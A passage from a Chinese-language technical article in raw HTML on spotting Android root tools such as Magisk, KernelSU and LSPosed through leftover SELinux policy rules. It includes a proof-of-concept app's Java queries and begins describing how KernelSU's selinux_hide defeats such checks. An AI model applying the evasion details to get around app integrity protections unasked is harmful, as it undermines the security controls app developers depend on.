0.69);"><p><span leaf="">严重级</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">通用脏策略</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">system_server</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">system_server</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">process</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">execmem</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">WARNING</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Magisk binder</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">untrusted_app</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">magisk</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">binder</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">call</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">WARNING</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">KernelSU binder</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">untrusted_app</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ksu</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">binder</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">call</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">WARNING</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">LSPosed file read</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">untrusted_app</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">lsposed_file</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">file</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">read</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">DANGER</span></p></td></tr></tbody></table><p data-line="82" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">正向控制（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">isolated_app</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">process dyntransition</span></code><span leaf="">）与反向控制（到哨兵文件类型）同样会做两次稳定性确认。其中</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Magisk</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">binder call</span></code><span leaf="">属于辅助证据，而</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">lsposed_file</span></code><span leaf="">的读权限才是LSPosed残留的直接证据。Native快照只负责生产数据，展示层不再重新查询策略。</span></p><h2 data-line="84" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">DirtySepolicy独立PoC</span></h2><p data-line="86" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DirtySepolicy</span></code><span leaf="">将同一检测入口浓缩为一个最小化的App。它舍弃了Duck的完整展示层与Native快照包装，重点是证明</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">可以直接调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SELinux.checkSELinuxAccess</span></code><span leaf="">查询全局策略。配置层面，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">isolatedProcess</span></code><span leaf="">配合</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">useAppZygote</span></code><span leaf="">会触发应用私有的Zygote，再由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">zygotePreloadName</span></code><span leaf="">指定预加载类，载体便稳稳落在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">之上。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="88" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">&lt;</span><span style="color: rgb(0, 0, 255);"><span leaf="">application</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">android:zygotePreloadName</span></span><span leaf="">=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;org.lsposed.dirtysepolicy.AppZygote&#34;</span></span><span leaf="">&gt;</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">&lt;</span><span style="color: rgb(0, 0, 255);"><span leaf="">service</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">android:name</span></span><span leaf="">=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;.DirtySepolicyService&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">android:isolatedProcess</span></span><span leaf="">=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;true&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">android:useAppZygote</span></span><span leaf="">=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;true&#34;</span></span><span leaf=""> /&gt;</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">&lt;/</span><span style="color: rgb(0, 0, 255);"><span leaf="">application</span></span><span leaf="">&gt;</span></span></code></pre><p data-line="98" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">与Duck一样，PoC也把载体可信性的校验置于检测之前：先确认UID未被换掉、当前上下文确实是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">，并验证</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">getContext()</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">getPidContext()</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/self</span></code><span leaf="">三处文件上下文完全一致。自检通过之后，再直接调用Framework API完成查询。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="100" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:system_server:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:system_server:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;process&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;execmem&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;system_server can execmem; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:fsck_untrusted:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:fsck_untrusted:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;capability&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;sys_admin&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;neverallow violated; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (Build.TYPE.equals(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;user&#34;</span></span><span leaf="">) &amp;&amp; SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:shell:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:su:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;process&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;transition&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;found AOSP su in user build; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:adbd:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:adbroot:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;binder&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;call&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;found adb_root; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:untrusted_app:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:magisk:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;binder&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;call&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;found Magisk; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:untrusted_app:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:object_r:ksu_file:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;read&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;found KernelSU; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:untrusted_app:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:object_r:lsposed_file:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;read&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;found LSPosed; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:untrusted_app:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:object_r:xposed_data:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;read&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;found Xposed; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (SELinux.checkSELinuxAccess(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:zygote:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:object_r:adb_data_file:s0&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;dir&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;search&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">    sb.append(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;found ZygiskNext; &#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="130" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">相比Duck，PoC的查询面更宽，涵盖了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fsck_untrusted</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sys_admin</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">shell</span></code><span leaf="">到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">su</span></code><span leaf="">的迁移、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">adbd</span></code><span leaf="">到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">adbroot</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">binder call</span></code><span leaf="">，以及Xposed与ZygiskNext的残留特征。它真正的价值并不在UI，而是揭示了一个事实：只要</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">能向内核问到当前策略，脏规则便会化作可读信号，用户态进程根本绕不开这道查询口。</span></p><h2 data-line="132" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KernelSU运行时过检测</span></h2><p data-line="134" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KernelSU上游新增</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_hide</span></code><span leaf="">之后，过检测的思路便从&#34;清掉策略&#34;演变为&#34;给应用UID呈现另一份备份策略&#34;。当前策略仍然保留Root所需的全部规则，但应用态的查询入口被悄悄转向注入之前的策略副本。</span></p><p data-line="136" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">在KernelSU追加自身域与文件类型之前便已生成。如此一来，后续隐藏逻辑无需伪造任何字符串，只需拿一张真实的旧策略表重新计算答案。</span></p><p data-line="138" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, 